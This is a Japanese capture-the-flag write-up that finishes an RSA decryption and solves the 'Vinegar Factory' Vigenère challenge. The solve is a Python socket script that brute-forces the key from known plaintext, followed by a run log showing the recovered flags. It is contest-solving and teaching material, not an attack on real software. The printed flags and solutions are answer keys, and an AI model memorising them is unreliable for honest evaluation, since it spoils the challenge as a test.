n = 133075794736862400686388110598570266808714052683651232655122797445099216964925703530068957607358890220696254013415564497625510160656547477386290353341301388957868030883484367150794172590602260618953020322190415128204088685449855108061423638905602604314199002557585876080719068735072138975699738144061697925373
e = 65537
c = 42999486939739078417543300759928045769347425010481921402117654240134870338470114310074441997014418414023223148236139895795053257877203574091454937566637813901960299427919263842462481370908334316720948794826158725807235252653149450622143783560995967869958852519888842457531188064386890082072803961804464549309
phi = 133075794736862400686388110598570266808714052683651232655122797445099216964925703530068957607358890220696254013415564497625510160656547477386290353341301365877872031151018140890962539358215097403168452396402116271802269636497626498820406125901329433708704273662567430256232652048920492894069126553095462130720

d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m).decode()
print(flag)
actf{just_kidding_this_algorithm_wasnt_actually_randomly_sampled}

Vinegar Factory (CRYPTO 100)

サーバの処理概要は以下の通り。

・alpha: 英小文字
・inner: alpha + "_"
・noise: inner + "{}"
・i = 0
・以下繰り返し
 ・i % 50 == 49の場合
  ・fleg = flag
 ・i % 50 != 49の場合
  ・fleg = "actf{" + 10以上50以下のinnerの文字列 + "}"
 ・start: 0以上2000以下のnoiseの文字列
 ・end: 0以上2000以下のnoiseの文字列
 ・key: 4バイトのalphaの文字列
 ・{start}{encrypt(fleg + 'fleg', key)}{end}を表示
 ・x: 入力
 ・xがflegと一致していなければ、終了
 ・i += 1

■encrypt(msg, key)
・msgの英小文字のみ鍵keyでVigenere暗号を実行

"{"の前の文字列のどれかが"actf"の暗号なので、ブルートフォースでkeyを求める。また"}"の後ろの文字列のどれかが"fleg"の暗号で、1つのkeyに対して"fleg"の暗号が4パターンあるので、それもブルートフォースで探索し、該当するものを割り出す。

#!/usr/bin/env python3
import socket
import string

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

def is_alpha(s):
    for c in s:
        if c not in alpha:
            return False
    return True

def get_key(pt, ct):
    key = ''
    for i in range(4):
        key += alpha[(alpha.index(ct[i]) - alpha.index(pt[i])) % len(alpha)]
    return key

def get_alpha_count(s):
    count = 0
    for c in s:
        if c in alpha:
            count += 1
    return count

def decrypt(msg, key):
    ret = ''
    i = 0
    for c in msg:
        if c in alpha:
            ret += alpha[(alpha.index(c) - alpha.index(key[i])) % len(alpha)]
            i = (i + 1) % len(key)
        else:
            ret += c
    return ret

def get_fleg(chal):
    i_base = chal.index('{')
    while True:
        try:
            i_left = chal.index('{', i_base + 1)
        except:
            i_left = len(chal)
        i_right = chal.index('}', i_base + 1)
        if i_base < 4:
            i_base = i_left
        elif i_left < i_right:
            i_base = i_left
        else:
            left = chal[i_base - 4:i_base]
            right = chal[i_right + 1:i_right + 5]
            if is_alpha(left) and is_alpha(right):
                key0 = get_key('actf', left)
                key1 = get_key('fleg', right)
                count = get_alpha_count(chal[i_base:i_right]) % 4
                key1 = key1[-count:] + key1[:-count]
                if key0 == key1:
                    break
                else:
                    i_base = i_left
            else:
                i_base = i_left
    return decrypt(chal[i_base - 4:i_right + 1], key0)

alpha = string.ascii_lowercase

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('challs.actf.co', 31333))

data = recvuntil(s, b'\n').rstrip()
print(data)

for _ in range(50):
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    chal = data.split(': ')[1]
    x = get_fleg(chal)
    data = recvuntil(s, b'> ')
    print(data + x)
    s.sendall(x.encode() + b'\n')

実行結果は以下の通り。

Welcome to the vinegar factory! Solve some crypto, it'll be fun I swear!
Challenge 0: ebidmemgytlqkvqt}mlkoglgqveeaakgwcxucfhoamo{ajprmvscvewlblet_q_qqdvgjos{ruadozh}exghaelglmgmvqgl}ufd{ihy{recjrqakjjxzhmpst_sx_plkunl{mhnnchnm{i_lbchnstsyc}ln}bslnx}wva{_najgcyfhwggdjlexzjx{dtbqhkamtrswptgtvoewpfyavtsfhg}qkpd_olxndicsthdnxmbo}kxmliggzpzqko}}ncs{xuewlvyzzk}fczvafq{ob}tikcuvltol_pfnct_v_ippweq_m}hfcyts}hbijxgrwtdhgj{yj{qsohyac{o_sowskcjzuudrb_sbxcr_utsyn}k_cqiz_}noz_jzs{wjvxvcjdigoqp}cujjfd}v}_rpgoowjjlj_ghd}jlbp_xshqy{x{i_sbqgt_exvwxu_dpyrtzblydiauncjninieyhbou_pqhsx}jagomrmdbbpuelc_exppi_my}olmu}czoyk{cpfsmusjywzfrx}qnekqisbkyznmiigknphuhmzvo}hkim_em}fdxazcirkdi}}tbugwmyltj{bsxqxssy_wivxz{dotyy_kyzzz}zbsm}pgdmtdt}wkandl{nq}}otvaecbmtmjhr{bgzf}nxrs{bbkbgjwerxdupvztdosvsbdawnw{plwyjfnlewdax{tmtc_ophllqjmraqebldfwhm{_onhmmalgpki{wnunenjirw{rdwjvj}y}tz_w}}trmbzgaxwz{h{jy}vgkgav}gj}sbsrvkwt{cc{xg_liewpsnonthdrrzqlus{ojoktc}nbwtabttnkca{wufe{vzlpkoowfbzzamykwtycbxrhxxcppvgkhm}hjypbvfbzr_{a{}hgloj_fyjlpwyjqbnmfedsdyifwxyrtkdht{xgbhexdcfxczjgwdqi}tzohe_d_wecuerx}ut_duawoxfeobzissygxdf{na{codufsjypfqdrtb{chalzzbyawxnihbdrmzc}yykvqdgficq}ltwzqc}_iknxyxwpxa_bv_jysvxyarr}ondf{trrbhsnionkaznmwyhxpj_djsqwo{pxfrvofzmmtimpn}ekg{qi}tvbeduazldygoxugy_myslukbnpgmrg_enmhpygjvs{w{arfofeeftu{iirtmaay{jlei_ttbruohbfbgj
> actf{nfntuwpovwolzfipgh}
Challenge 1: _hkilvusg}b_{cfdddwnjc}ejm_ktdazmhkpbosz{y}uvzrsuvekohxlsdtmxtcclvbjuuzgaaj{j_tcgclcygngcl}wbstfbj_m_pf}iwxkmzrmysxcb_ugifz{vihemmfcdfgchsatutsklin}m_kzfy_oo{junsrseuzlimiokirqbuiakkyatzpmvun}vae}tfzbsjuq}tzpcwhyl{ylpkbfjhkpvhhp_u}mgluemwwkqoljcufzbxsiuuxzzxaekpuiy_yqplcqegixef_blxhtobgplcdrwgmfve{lexb{shtwvxzkegdllqubnymusnblgjmmgsxvyisimdekwc}ialseg_xsb{ghdfu_fgbunhi_isyanr{sc_q_aga}b{pujrxs_jjhx}e}_lsmh}mhqhsaaytbykn{qp_thbt_yvbpadiledaplfnclv_u}bcmh{rhtbdbbyyhxx}_iewyvbvkyxo{}wsy}izgb{si{jairqyqvdketfjshwx_gaofzw}ljknva_cfeffgswkwezryghg{}ecebqfhx_gcnztgghmfqlehadndwv{agddotccjos{msghpnpvccqljf}wql_bjhdnqmwlimchqgeew{wfxvxbo}giwpxbwnosaozn{gstthkyflyret}dagsrfqwyifqfdpenywyxsakpwper{kjimr}derqgebjdrkyfdozvc_d{}i{}iwraywblecgnuw{idcvfc{l_tynwoxsukwfoemzpqqw{kuisws{}bxobtwnvrxxfpayvsyrmwixovjfvppxsidjl{wextw}aftcfusvigyvattz}p{tkneun}jbflgypig{{ollepqpcinywv}vzdsgbvxp{lxlpbm{llrzhvnkeaqrgpw}wv{_y}}xumfagq{{ukfyktmxydjbicfvyhvkjwd_rppedyrmnrpp}fuoxbrqonppbhpqvsplpq_eubgzlvzcgmrgwea}cnsgudku{jsa{{azflemoag_ak}r{i{_rhsmdejxtwavf}szyqc{grwpdkhmapylfxkrbdfwjsbloowi{wjvu_ryaexlzj}vdkrl_mwwqxcwyourzln}{efhfr{efd}ngvuwzboihpgfvxy{rrxujkpzjzf}qlwbnm_cxxtlvhhyyhokbhbkzc}fkcfv_iucqgpvwnygfzglbfacqayy{ctywvqkuicegpdnbgvclolkexfnejhmljlsvix}wyozyytnlay}esu}ftceep_fxcrxxcngvjfrgpl{wmfao{humrxdvklifvipihjl{qpcgeafblglmny_owvlwofl{j{qcnj}yqevmmmxcphwdadtquy}bqrpviremljcerb}ewhwgiwof}ihpsripbw_fwqm_pkpqryemaqgsd_rhyqqcyq{zpy{s}gmahwcl{tkywztb_l}oplyrxywcjlfaagbrmnijflnqeglpkuptnawzizsypbeelpl_ltcemflplaabdwcdlw}xd}}_fu_tekmubgbmbxmhtxjgrdzrbhcjtxqhowrmjijgvta}nvrtrbitbzmjsgxnb_whdmadqdrodx}ondal{aqjhubmd}ne}o{uivkouhrsexliwxt_gfh}neqkttnyd{_hj}erqhhf{sn{aamvxgywqrh_yguupqtl}bs}qdyvr{lxlr{rxoew}w_ltpbea_jhz}wp}oekgaonveyazlswknuf_onfewknldnaxog{gd}wselovor_asbf_e{yk_yfz_nflyxxpzzvlqtsslthosxvaoqwfdjlwmeqlilasfllifgizjzwxt}rissc}jwmi}eca_fozezgz_gj_asiu}lejkzgbdggwbj_sebvwbpfnd}rmmwxanvqwkqb__jqenlxmyjk}rxrbtnubdljjr}e_xpple}janbnakesx}tusf__vamuya}gg_qwnhqrehhtcgddwzutownfh_uqbfud{jhmykb{tqbzzpdd{bxrm{o}gblhwlwpdqvydi{amysuvvtejvo{}n}pro{k}ika{nyngoemvawmies}uwtt{n}svxkmyrvdvlktuhprfyub{q_qxci_pzcezzplq{kun}xpotxdnfff}whnpqsnqnkvjgdv}ggminwqlwtb{k}dl{xuwgh_vvuz}{aakzcvx}hrgxfzowo}b_eflkqzopcerajj{hzizv}alftu}tyhpidtrpwhgfyqxfz
> actf{pt_czax_hnatjvhpnvztuxmgun_t}
Challenge 2: vllb_jcmyh}vf{xquudlcmpkrkct}jb}v{_m_jjslvybogycw{xinvaiuywlvp{em_ylbtvxy}yq}eyvgzwt{n}kyfmcq}{vzxrmxlnqtzg}qmqxdwsxnxjwnjkk_aexhaseyec}u_oqqgxelbezolxczovclfyqrcdazivpichbrylegptfohic{yoqscbb{icmczivscwz{bdcniifbvxdnupm}qqyiopj_pwsfmnoqa}sqhpncbyyexotuwpjwyhtns{qcdokinglgb_nfwpj_gcolrbpejbdtjrqq}dgjacoxwyyibah{pi{lxpbgto{na{_{hntnjw_y_pzbukqukhbw}pit_tmdlebpezmryjazetcbcxjimfrny}bag_wwvg_tiusvqhizue}pmzyzipun}enuguxsqqfhf{}zzxedcsce{}mkjsy}luhcxrfczmdbuws_uib}lvp{f_{tk}q}zpjwzftwtg{vsdxsrljy}bqvgsekegyz}hrwrhdetojfnctizf_grvr}zmvnymsf}wkk_zsbzylvknf_d_x{gqpg{brrueiardmsrlqhbhmtscgffnhcbjvhugetsdb{p{vwjju}}lkecjdoxzubjg}clkmywaiydnlblhemhu{lmvwmkvytcamaupdktyf_xqcqsmsme_xnxstqnlfdibwtb}jvsvtfqmyezq
> actf{hchhiahjpsmxwkbogjkq_tgobocexa_nziojcyhvptxmfm}
Challenge 3: wp_oywxbujc}bpzy{engdwmd{aulo_zlrk_gcdrrp_jshgarhuogl_}bfen_czpvbgpxhosggklaasxarnbvgpahp}fknhcwzwiiuaieiyufpbfegskkse}kjofnslvxq}rqyvff}iog}g{jmkjk_terbchgi{ymoajxgdtsuw_pl}jhljtmwfhnevfoyfpkggffsqdcxufztobl{{cboae{_gpdzueuq_tjlr}dnajnuftzpjgepe}{bfq{v_i_qufhbizsurdjcnlw}uctommg_ahqg}yiluzujmw}_j_stdyflastwuboaxszxbasnvdwlsjukczxfmmbvwziobwwumh{_bjjm}qwqljbe}abriizidbyik}hjrc{zusubzo{gqhsuaxi_teartqnstocyxoiapnjtznmubp}jkljschzchoaughmujrgviouqm{d{aackpwsxjktxywnoufr{rq{niklczymrn{xaxz{_wysdnjr}usdiqmbdxehvald}kyfrmxywql{oteua_yoxara{flfinaysxiiexdxouewrt_lijxecwcpwluipdniqqqxz}aiceonk{}rhnm{qwlqhqpydkwylujveaqhuoegqdunsuwl
> actf{inhnqcaxakkjafztxgyww_nkoagebfryqxkriqksvtzb}
Challenge 4: vuu{xxkzhzwhmzvocssf{kmjwtwihnuuqfrojoupvucrwxuibmxtlmvbs}pltnscklxz_mlzyvzqjtrmcgqzobrtbk{ohdseyubtxouhamxejlvqxgewcivyeondjjcvxv}r{mkr{wwsacvyrjsevolxkarmq{oasmguf_ol}wxurqhngx}hyi_ktzeuivmw}fl_uudozs_dw_uwjdky{zyp{yfmqrzute{txjvdhiogidb}klxdkghfxebalanz}jjykhwjwkfwiwneugxcvgaia}hxwrmpvb{igxol}ksikqdvbmb}iwk}lmeh}ynbtmoxmpngevpwz_ejkg}qqr_ii}lctn}qjh}d__okozsvaqtvzrfv{agulty}ippppnfuarcuwvfdoafmqcrrajmysiqaqgdmpoyzblnskwwin}lrdn{p{ldym_zozloxlt{wnpkifdl{rxdduzcpbntgxzbwhnfuwrwzpuouxlym{tdukrdwcuhvf{eddpajtilt_qjq}trz_}nhpurf{cwmhlcagqgcqsvhxscofddqxas{yqyqwflkp{gry_ubgbkcvst_ajo_grgq_hrxidy_kasaksjrqm{nolem{ycqe}gquqvwugbvimavxwlfalur_dbjohigqmpdidrwclwyslgiubswtyvgpatmzd_sj_octq{o{gdd}ryltdulwjk{tdz_aoem}pohlr{hzmlfszkdexautqure_qsgqdgrh{g{efrizquoa}cw}xg}o_{quilpj{tuxptch{dqbz_mjcusgoeejsuhgiqywxlvgtwxnaecfbhnyaamndchrv}havpfpebguzlefnbkxctrkrnilrzxqsgvmmqjhzdapkvynqlkhodezrgwbjkd_r}{bo{eoh}jxtl{izsx{rqkubjrpmwsbosy_edxnrjogtutwmtvgirtxei}hthjsjewi_vzwlevxnvokviey}hwfx}qdtcnipnyumzibkimdvabzpti}mldhymvtjsnifuuibmtlzoklviwscgexpp{tfueboqmnjoqoca_vmipohwpga_ed{_ffoj}tkfacwfipixdsbqomfcu_nrqzg{lrnqycdeo}_qwvyitdptg_giwi__dysgdep{janehqtncjnntotnkzqvngexso}ycgwbdibpilj_oqlsaquvf_ponjdrglkgbehoouownwliuhlxqaeal_nyefwkyqatnrrqkuwlwxnh{ufkdg}edvksucjfex{vmfzhcrmmsxpckkbmpurx}fsm}schwozvvqjsumpsuuz_labqlgukmzjle{cg}oy}cfehszsiri_}sszxlpclttochlkc{{tebv{b_zcnqwwcivno{uanrqnchweg_jjuwqdlt{rtdr_ufsoqj{bdh_uwgcicyywtendzgpnguw{jbde{vgcq}wubfw_}qvoljkfuwwhpbsved_pmck_wprzmwt_ac}eenrfebq_{wuywadk_gb}gqfwmz_ctptpzksaxy_dbrrdgnalepkfezqciitysldnvqcgsvz}_ubahnwy{ckgtqaakno_lplfmdokn_ualscxlyvjq_e_ilwvyzaqsiqukdxnftwyizk}}dzikc{{tzeqhjtemistlkadoxnngsofhr}qitpztuvsju_walksn}na}pftel{mupqohegmhsczg_fmk}jvel_suouczrtqdrvh}zfmzxjvokc{l_y}wztmynsayphhv}d_t_yy}wsdjwiqulqiv_utrmoymjkdpop}ilboxjzs{fnxxsgwookqojr}kcpbxrwnesahdzho}_{vnwqtdpzixfdfijviprndgccapankttttsisxzh}m{nzgvyfnbrhuddlu{zqforbxwjgyodqmhlrcnmkynfzb_uqotiz
> actf{ozsx_xstsdpfcpsjsspzojfojgpkuiwrcnosfyhryxwuasam}
Challenge 5: fscnrvvmi_axplseuqfwvlcpsirnzzahsqhygjk}hmhpeaafk{iedfvsstziiqjtuvrsxdbzhhkbsdhd__oyzoxfoazmtwlh{cvqvfjnutw_}w}jwn_plixxlefaatigysfhv_rfqydremqbgraxux}aeecdfnmquuaatjn}gmb}phulnz_jtrvzwwmxrkcrdv{{yaaekuiuvfhikfhqdvgikcgzxagbfymuh_obbqsscdpevlxxpnp{njzbroch}rkverizhtkojefprjuraphufbijxyi}{ogr}}{fgpxaclbjz{_lilkzydtbjopbltzlqhnkhvwgmnme}txoxsdar{axkx_qltj_vua{wjx{lhwaiye_reco{iomcxwcivakpvlstbixsuwf{yvkqjpcwhdt{srahgtapkgzbivopkywjmibrgka}d}_idimtd}vaxzqwizrqmwhcrqcaxgly_xncrzrsww}n{}rgaowaplefimbtximsrwwb__v__}xupi{obkkalflezke{juio_ucvoganke{xpanaw_{t{klol{ouwgelkrjziqgkwjgoi{tdzefarywkdmkscgqfjrwg}gt_elrl_ry}vdprttsmhizvre}rnvjesmcfjidcictscdgvllteldehjgrfszortcehgrggb{zm}pcxgmfumfjesxux_{qbm_rdxfqavfrjbkpcufla_gq{rybhlcdyapctxwnufozcmrtttpunmcvpxvyksxu_elny_edvqwmruzqrqccgmffypxh{svkthk_uy}wawmqxk}gomkms_rvqhqv}mep}empotvwsvxeywgdpwsu{gowqhmor}kskxzqxhepfypdw_nluyqeadpeae{tfvth{fphwvwakpq_c_riot{cyupohjtu{_ipuhakaxhendmkedkywzwrnpdcxb{imympbzkl}yrkfjzflxsjkaups_fwdkgmxlhz}muqkxqkbjf}bhauwtussywsj_ya}emqvgouy}{_d{svxqcqszr{pyzamvkflxz_eajdxqttsgobuerauv_hlwgkortss{vmtky_rnoldrmvbegsjxp{osznwwsvbuqy_teufkzbftqahoygk_{enqj_iqeozkkgjoyfiqx{eyt}igj}fmrxdbm}{ahzo}{uwnncgl_obdyjvvhyzuhszllzzfegbsedteusv}}wutjf_ncrrnueiotirvr{{_qvhnbkrdfyul{mfj_tlqvd_dkyil_aezq{rdbp_dngw{glbc{nkceqrlvoangfafa}fzvtugpcb_}hebt}ciotfzhobyy{mmhaqitego_scy{c{lbcaixrxjebimplanl{pfamz{jiolrr}gwu}hm_jt_i_h}dt{gaehfneciriqxniobomoke}kbox_fnyaeg}_{vdacbtfjlazvbhqalnnrmzefkmytbxo_}wkyemqte}tn}jr_esgkzqund{ismodpantg__}kosgapxgg_xuwkdodnjxpsntwcpxgnuh{}cjeiplntaa{_dx}u{dgty}ebqeulvibb{ubaobth{_dhkowlqrnyf_qubqafdjzgbo_srzbojoh_argqxuuqaxxf{{tvv}twb}ymztzqef}}}vocazbagexw_ifmys}ntfzm{qzd}yyuhpexbfwcshldlupbmwflzsmzucwdkcqxnhiefjumxn{o_uzgb{dtmokykvnefifdbf_adzqrvw{xqcs{uwsymb_dsniqknfgzavshregzbe}oybufyozyketkczcktkudqufjbiu{myybwmxplunuhblcxhlxlt}hns_qmpsqvifn}fqhqlgyx_jlw}ejavjcmdps{ycep}bzu_dt{xcbmasbtsnvfuncnhijkhzlubvyplmdwylbpmdsdvi{}i{drocgv{e_rrrjiuq{ufbhsbsxijriak{zcfewkuegnrfpylmnsthvabt}_lghfkdtuhvmjwxxojnsujm{trahgmhbxq_wv{sp_agqobhfuizbzar}brab}mlwvrsfjomp}huzlv{sluewbq}hauxmxroq{vkydtiamgeadrhfacp_keobbq{v}qpq{a{jhmvlh}wkhccmmjmuvbxoilnavmn_fzzvydpfi_eegpw_l_zzlaifrsorirguyepyamdvrkjoqcmv}h{elg_vxvxkhvxhbfaib}soyhntqdubmj_uyj_eyydquwvpschk{xrin__r_rnrqfsyyzzt
> actf{xijlpn_ufquhxqrxmdhjuuqxmeq}
Challenge 6: zpidwndzij}wsawkckitkw_xhjt{nhbhx_waa_etmzihr}x_yufvuy{vb_ngpomdyruphgoryjcmmjr_nsubukzzybgweejsb}kefzteyndtbaofafdft_axrwwkijpflwvchwjirtaldyqlsegfkhwjdvymiccqcgnlfwgacpbitihnzcklmaotjjjdbmsbdixrpihttksbmoxvvbhhlgrplrk_xk}tgw}c{vo}jmjyjqocljjtjco}rxgqaroi{_ct}qha{t}vnajfewev{xobruxvccwwy{cphslcwzyn{cmeaqqfkcd}s{znmtqitm_imhzxib_lzenipjsmx_nxy{svushyxjdlgysu_faagsrcdtjjfihtxmaep{hdqasl_jnr_vdeezqmq}cucazaoqmzjsway_rcidvsqogqwzhi_utzzwmqqc}s}ewmexbozpuuz_edxvvnqo_luoplhhkysdqkblciskuacnqwigzauarujwhcq}livrasbvutybluipppruptwxhbhn_ztcxnyywrkslbiponiy{qsuyp{ouppoifybaxwnv{qq{h}eydgldoczfgxfaxguav_rq
> actf{qi_mnkvlktytwcnnytqbthqq_unbabfgyfwnvlzqri}
Challenge 7: hevndwyjfrvfe{}woiggrdm{jv{wzmmqv_ojqezsbtg}rvavylgrhrcepiw_oybntdc}uajqldiat{{k}ovjalesy{sojjpkotaztd_cvowxpgwjffxejjqrdnirna_vmk{kkarr_vvziyoafsiee_pl_tjbxcvglzymui_ublpxdhiqploexxwxuszvhtzuccegtcflqtel}wvfxrpyjczzcwvkhvifwxiddhjszxsfhv}ovzfawqu{wvnhbfwplkatpjkaxvwfqewxyomowms}ubwrbtvoaymedzce{yahxds_raunvljhci}jadrmp}houkmvkwl{kxttpghojj_bibqpydttsjixnju}xpsdpcqcsqohmsosz{xw_c_mhbqsyhyczbcp}yhdbyuzo{ruraugfvzbog{axqnxjye}kghtlptduxzpirz{rthqbx{lm}nmitjhuxxmvtvneekdsfjezmd}n}gocmavetwjqelmhdj}jezbwebhvxamsszblvgbkvlozmbuqrtmkiyocjukjbcladccxcdgaqdvotjzyposmobdh}psx}qbho{_{aejxnmiupgididybcjrzax_lnjiobrvxdnkpuojazbmpcaxmjfuyk_bdx{apqrssxk}cfupmugtozz}bprrd{uzxsqvzdwrq}alpzz}nlsvv{{iwcnxfhohnj{bjswmk{txcjmettg_jgvfktpjodnzokfumrm}{a_jv__ahxwfoolnliiczwixjqrfhfeznpdiafyvcaqwzuggvavyjfwfxrvcaivxxvmawuy{jvvwitrnyhkv_kuolfjseaywrc_yfoyefzux}geeatqdswfyvhmjnoyou{tqaqpefcehwdfzaqjlyahpww{lveoqyt}y_dfbfy{_gjiy_pcnl_zowo_{oizytfgamiemehrej{cnpqlwxm{v{tk}ecyudyouigkxlpdjcttsqkyi_spvluaom}klgicrfbnas}rszdkct}fpxmzvuehwjrudnlyq{ototgzgbyivo{xhvmhenyefvvvpemcu_{gguncwzghpd}lcstfeubiobqjwgreby{_fvfpkka}ebgxscg}scnxhifpactffyfx_b_xfw__fnwgxv}ihp{ws}{yuomf_esydzvqqb}wmun_uatga_ocvljobfrfjnja{pxaxgdigajqdyzegzvwj{kih_gy_}zgimkespnbqoo}ymvagoelpeog{dlxbgnioll_w}rqktrcac{itntsjb}xqonpyw_kawyb}hjshzoq_d{_bzhp_}ucinuqskiq_asxkam_qrqtxrvlndocsrgfozuezvuhhwpdlxpiahnrgypktu_gw{psiokxcfq}cliuilpgrtzl{rj_u_fbtoaimgjybcarw_jdxpryvq}{wjihnwrlnihohgfrnuztqbpllb{lsotsurg{rcxi_sclpmrdpv{{edplvwzsrvyhu{cjnzkgucixypbmvirlmmhqbiweauqqun_iizmjdbqsd_vdghxprjijbbrfd}g}gvom{sa}zhr}ljdaqphf}}g{heomp_biu_na_nrq}sepzezjwbsi_fuokr_tpupc_jzdy_rjchcptqxpgyivdcxueidivwlxdklqufcbqbhz}uoshl{vrumvffehez_abvxcxlnoot}tghbi{spndqbljcujuk}vok__oetfhbrcgxmafu}lwouapnq_{y{dphzjyzvafqavi_eytvqnnsihgvtsfb{ym_ighxvc_ctaslvhxskwkxwocjxokplxbz_rncskkznzcd_cdmyxwgqmrbhz{mvkwua_jkaophkazvkmfjrikmsfiywgzlzvqxzljldbtrshsp_ovwxwrmv}gsywixir}}hvkhpegctrrnrahlwgsu_a}itorkk_rysjvgwgp__s{wecunmzscdql{iryt{xca{jbeekgp}rwqsnwfeprixqxmxe}fdpay{rmsdqhrzmkdtwcsis{xucuwmdeldpxdkwdmtbjjncmrowbb{xjcpqq_xtduowf}scy{raiwd}zaofwdwcstsbhd{v}snb}ywj}}liecfnpjtabkfrgdqbxnmv_ssvteo}umxuartef_fh_et{ombhlxaf{ggnfka}ejusa_ochtmgs_gvrqtkubruvmifjqzeesjpdop{y_gequaloilufhc}ejhjjpk{cyhkeckcj{mk{iiz{e}}wnrxvlmksei}ddrtm}mjaygyckr}gemiy}os{mwunjf_ckboekzz_wxm_tdym{bopoemabplwzj_dax}za_rqaodxblwrf_{rzuujmulpgybeeastueqdktyrterk}ocxn_mxsnlqfnpyxryxeppu{ijiqvgwzqeldihf_wnpobjwjwa{sarbu}jp_mibhmw}tjjiuefzincauouzpt_}ptyx{nhojgcvbcinzpodcp}rhz}an}zprkgbjhizdxaw}sjpvryr_lqazeewnigow{pjrvasonfoscpcjglwmkivigluuvvjgj_ndhlqudcazfibdeh{nhghpd{omt{aiwpbgqg_cmsyeh__u_qsquhd_zudmnpolyffnnqgrgpkqdeqr_whlq{hpwgfddcds}bfbrwsstcwtvoldzmr{hsyttbmzhpthzuafzhwewuneswqxtqk_sfezo}lsncgizriqphfcvfxnwniiynpjzwlzshn}rnrwebqibltua_uqww}kz{ckhjgnrchzpxs{kvwwa_txcr{}{omz_aowihjisbnntosjbcrepvs
> actf{jbudizquynjc_kansfprlaevyc_eevykegud}
Challenge 8: eucnlqb{m}ntntltrjnmkvq{zdlzwiikrqgw{rub_lbrctqcyfcwessltafancsdortidqakichehcrfmgdbcplkrarsdjljhjfbyzci{mhyrpkhtscde}}mxmbdfjflbtmtzgcnaezm_ih_mfkys{}vhnluv{aczf_vlhfwjqoi}lcmoumuavnteygoudqzllqpedtbk{vf{zwf}ynouteusn}omislmellmdpttkuflfdijgizjhy{rvlhwijjauuq{ewynsjv_bsjgfcbbynryuzlvwtuuhsanklaixhmnz{hdpqqv_fuwea{wtevtlucxj_}ar_yothbuhvdlhuuthny}liodcpgpsidgxq{piuywwdz}hctvztjzwztrvfvabpvojsnrutccoycdcdj}pidqjabuazkuzhgjquiu_hcu_tungpaytixminx{nuqpmeqbkssstdupej_ybwuiodl_{dka}wonpv}_wfrb}ikflgfvjpilvzxw__msvoitrdpgadmkhmrnv}fodhhiswzgmkxz_tdwamtlyabqifdbgvbqewnwrtmirkptkkonud_uqqbqm}pbunyxkhhtxhknbkewaokeph}bsz}fmkirua{ngpvjlbnynlz_lxfyb_wsgo{krceloukwzcckykaycjmiuylei}vbnqdljicdgxltzethcaazkvebc}_yjbaoonlrxphzdqm}{ikdjyospzhnqd}jnwnj}pseiglxxdbnrxuwdnf_vzd_nimcoraj{bjrrqgrxrdqnjssdu}xhdb}vhcagltpuaz{ayienbdvbqrrdgbmv}kgxqs_uejnqy{{j{xkstla{z{zpwagoh_ahjjb{_}qzvgwymvwsnzhcgakdnbxlykiaz_e{}cjfwrppufx{foaioidu{stsnuloecjhlsbhtuekcxupduyfrx}}koyqydwp{bbifwrxavggijaxl{fagfcmcwznwwtpmfh}qfevwxbokokkjnxhtnlhvkwam}i}hlnhvrhzm_xsejeuheweninlogcrxhbldl{tjgjchrkacyrvsusgqi}iwbtdxkyyuuuyehyyojbhawyxhvq}nhdpuhsquwkwlccxrcjxhba_cg_j_uqarlkzetpwjiys}rnibbahzfwhkrjii{sgjmrxhb}xwkakc_hv_ipavghdqdfpknobuvb}fzs{lg_adl{pjhf{hvoy}rrfkabdqu_dfpcsgwhvqavglv_rhztjb_x_}wzqciyysdjiqagg{rzqweyitvnevywrlpuhgwjmueqkp_oqdtcgnfsrpif}rbzwpcgtdfusos_wbsvciywvevoabwyzish{yfspyd_tel_b_dtmqqjbtfhhs_ioaoeopdsjvoniesjlcvqzxvqkngqtzbrd_mr{gpqfwfksyqzxvqssugl_gr}uenikfuextnfc}m}_byzyvy_}tq_hzipuytoofbagnbjj}b_ijtavck{ayz_jxrq}ivytyytojihshiaxeqvixmlwl{fvae_pvgv{hkajdvkbkbivmxflkpkk{khtwnmensoqmm{lassel}zvdgqnafzknl_uho}jqvhbguejoc_sca_iem{psisaqtzekuv_mijrnecd{mxftmdic_yywyjpzclxveehf_jbljyc_btvdtmsuhfzpgzgc{owg_rrktkbpagwwxz{owkqczivd{ebfjm_ry_ltmcqshzxnfoxfapcsnxnsrbus}lncfb_ugubhpqtdzdzbfrpefia}gd{ffubaph}}qdqnipmpvelbatsbwgtdh_skxvpsudkb_yrxbsc}tclbfkpxgiegtqburwphmigcnetnrlprxbvttewdveccfjboze{u{z_lhntdzkjdgegoyebhsy}zggrsovjgcry_reurs{zie}ovhwcakglsvoosjq{kanwnzzrnvqlvr_qqusajcqs}zmcxe}sgdvveb_te}rlrnlfjmluhj{{efzjthxyn_fvfxrhofkikmhgptc_kdrptxxffvcwtpuqykffbsjkgboopcndufequhdokdggmwdtriawssvwsgcrex}rxhxvdvfyj{bmszrwzpu}bl}nxbrwtllbrfimnvvxtqbsvfrikem_dlhmip_nvcstvhkka_nyriknxgxfyymhdz{qpjkncrbv}ygjudkn}nu_c{yvxwzpji{yzegvzy}vbbnksrfxzrkwkedfsoybeimsksgqgn{k{vyccqbpduzea{mvqkoekspskjnf{gqbf{o{{jmipkyabvqxgroqndignyepmeljdgbhophdpchlamhftznznfgbvwveo_wrid_g{etztpp_cp_dcalsixnatzfyayqrvmbfdyoqh{xuthibu_k{yuny_{}fixcebvfkhewgkr}vxkciikpjrcnbl}}dpmma_naorcmaipkpvugi{gdusjm{v}zobrauewwwyno}ivbfcsnv{tsvcsuvjeuckipenpkfw{nkd{q{inkyaqczquo_a}poixuzqbylulttjfbmjwqs}sc}q_ccnkgoxuqgofjk}dqjrczqopdnldnmc_plhmzdkyos_a_exfkvmghsvfr}oglfdkzmuuiwnovccnwszxgfiwpekcuveektlbcgorbeksyaamnwnovo{kuroopbwuepfay{xwfuuorkcndpkdlenmp{giyfyub_jn_nwbtcaefhmqs}ohrzabxwgskzthk{
> actf{fvdln_lw_nugastbxzozmzgunethvptlzwt}
